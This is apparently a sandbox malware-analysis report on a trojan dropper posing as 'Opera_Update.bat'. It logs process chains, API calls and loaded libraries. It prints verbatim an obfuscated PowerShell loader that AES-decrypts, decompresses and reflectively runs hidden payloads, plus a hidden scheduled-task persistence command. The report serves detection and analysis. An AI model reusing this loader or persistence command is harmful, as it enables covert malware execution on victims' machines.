Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Windows_Log_414.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Windows_Log_414.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78CA629E4 GetVersion,GetModuleHandleW,GetProcAddress,ExitWindowsEx,CloseHandle,		0_2_00007FF78CA629E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78CA61B44 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,		0_2_00007FF78CA61B44

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78CA665B0	0_2_00007FF78CA665B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78CA63E4C	0_2_00007FF78CA63E4C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78CA61C38	0_2_00007FF78CA61C38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78CA65940	0_2_00007FF78CA65940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78CA66028	0_2_00007FF78CA66028
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78CA62B24	0_2_00007FF78CA62B24
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78CA633C0	0_2_00007FF78CA633C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78CA61B44	0_2_00007FF78CA61B44
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD9B6A0B9A	5_2_00007FFD9B6A0B9A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD9B77443C	5_2_00007FFD9B77443C

Source: file.exe

Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, Windows 2000/XP setup, 63791 bytes, 1 file, at 0x2c +A "Opera_Update.bat", ID 1566, number 1, 4 datablocks, 0x1503 compression

Source: file.exe	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs file.exe

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@23/19@4/3

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF78CA665B0 GetCurrentDirectoryA,SetCurrentDirectoryA,GetLastError,GetDiskFreeSpaceA,MulDiv,GetVolumeInformationA,memset,GetLastError,GetLastError,FormatMessageA,SetCurrentDirectoryA,memset,GetLastError,GetLastError,FormatMessageA,SetCurrentDirectoryA,

0_2_00007FF78CA665B0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF78CA61B44 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,

0_2_00007FF78CA61B44

Source: C:\Users\user\Desktop\file.exe

0_2_00007FF78CA665B0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF78CA65940 FindResourceA,LoadResource,LockResource,GetDlgItem,ShowWindow,GetDlgItem,ShowWindow,#20,#22,#23,FreeResource,SendMessageA,

0_2_00007FF78CA65940

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Windows_Log_414.vbs

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\Jazov7AKQQAv49WQ
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7700:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7992:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7476:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\System32\cmd.exe cmd /c "Opera_Update.bat"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_414_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Windows_Log_414.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\"

Source: file.exe	ReversingLabs: Detection: 15%
Source: file.exe	Virustotal: Detection: 16%

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe cmd /c "Opera_Update.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9EHtJ11By61kS8vpIjv1e6+WeJMREtPFNuaC1PKqnxU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ddpslYZ3AovF8/F/PVkcRw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $nMJpl=New-Object System.IO.MemoryStream(,$param_var); $pYOJO=New-Object System.IO.MemoryStream; $PZyWJ=New-Object System.IO.Compression.GZipStream($nMJpl, [IO.Compression.CompressionMode]::Decompress); $PZyWJ.CopyTo($pYOJO); $PZyWJ.Dispose(); $nMJpl.Dispose(); $pYOJO.Dispose(); $pYOJO.ToArray();}function execute_function($param_var,$param2_var){ $ybABJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XmKpu=$ybABJ.EntryPoint; $XmKpu.Invoke($null, $param2_var);}$NtXQf = 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\Opera_Update.bat';$host.UI.RawUI.WindowTitle = $NtXQf;$xcJVx=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($NtXQf).Split([Environment]::NewLine);foreach ($JtxvS in $xcJVx) { if ($JtxvS.StartsWith('GIzCsOPRFtcNTtsmEyZB')) { $TjCqT=$JtxvS.Substring(20); break; }}$payloads_var=[string[]]$TjCqT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_414_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Windows_Log_414.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\Windows_Log_414.vbs"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Windows_Log_414.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Windows_Log_414.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9EHtJ11By61kS8vpIjv1e6+WeJMREtPFNuaC1PKqnxU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ddpslYZ3AovF8/F/PVkcRw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $nMJpl=New-Object System.IO.MemoryStream(,$param_var); $pYOJO=New-Object System.IO.MemoryStream; $PZyWJ=New-Object System.IO.Compression.GZipStream($nMJpl, [IO.Compression.CompressionMode]::Decompress); $PZyWJ.CopyTo($pYOJO); $PZyWJ.Dispose(); $nMJpl.Dispose(); $pYOJO.Dispose(); $pYOJO.ToArray();}function execute_function($param_var,$param2_var){ $ybABJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XmKpu=$ybABJ.EntryPoint; $XmKpu.Invoke($null, $param2_var);}$NtXQf = 'C:\Users\user\AppData\Roaming\Windows_Log_414.bat';$host.UI.RawUI.WindowTitle = $NtXQf;$xcJVx=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($NtXQf).Split([Environment]::NewLine);foreach ($JtxvS in $xcJVx) { if ($JtxvS.StartsWith('GIzCsOPRFtcNTtsmEyZB')) { $TjCqT=$JtxvS.Substring(20); break; }}$payloads_var=[string[]]$TjCqT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Source: unknown	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe cmd /c "Opera_Update.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9EHtJ11By61kS8vpIjv1e6+WeJMREtPFNuaC1PKqnxU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ddpslYZ3AovF8/F/PVkcRw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $nMJpl=New-Object System.IO.MemoryStream(,$param_var); $pYOJO=New-Object System.IO.MemoryStream; $PZyWJ=New-Object System.IO.Compression.GZipStream($nMJpl, [IO.Compression.CompressionMode]::Decompress); $PZyWJ.CopyTo($pYOJO); $PZyWJ.Dispose(); $nMJpl.Dispose(); $pYOJO.Dispose(); $pYOJO.ToArray();}function execute_function($param_var,$param2_var){ $ybABJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XmKpu=$ybABJ.EntryPoint; $XmKpu.Invoke($null, $param2_var);}$NtXQf = 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\Opera_Update.bat';$host.UI.RawUI.WindowTitle = $NtXQf;$xcJVx=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($NtXQf).Split([Environment]::NewLine);foreach ($JtxvS in $xcJVx) { if ($JtxvS.StartsWith('GIzCsOPRFtcNTtsmEyZB')) { $TjCqT=$JtxvS.Substring(20); break; }}$payloads_var=[string[]]$TjCqT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_414_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Windows_Log_414.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Windows_Log_414.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Windows_Log_414.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9EHtJ11By61kS8vpIjv1e6+WeJMREtPFNuaC1PKqnxU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ddpslYZ3AovF8/F/PVkcRw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $nMJpl=New-Object System.IO.MemoryStream(,$param_var); $pYOJO=New-Object System.IO.MemoryStream; $PZyWJ=New-Object System.IO.Compression.GZipStream($nMJpl, [IO.Compression.CompressionMode]::Decompress); $PZyWJ.CopyTo($pYOJO); $PZyWJ.Dispose(); $nMJpl.Dispose(); $pYOJO.Dispose(); $pYOJO.ToArray();}function execute_function($param_var,$param2_var){ $ybABJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XmKpu=$ybABJ.EntryPoint; $XmKpu.Invoke($null, $param2_var);}$NtXQf = 'C:\Users\user\AppData\Roaming\Windows_Log_414.bat';$host.UI.RawUI.WindowTitle = $NtXQf;$xcJVx=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($NtXQf).Split([Environment]::NewLine);foreach ($JtxvS in $xcJVx) { if ($JtxvS.StartsWith('GIzCsOPRFtcNTtsmEyZB')) { $TjCqT=$JtxvS.Substring(20); break; }}$payloads_var=[string[]]$TjCqT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: feclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: advpack.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
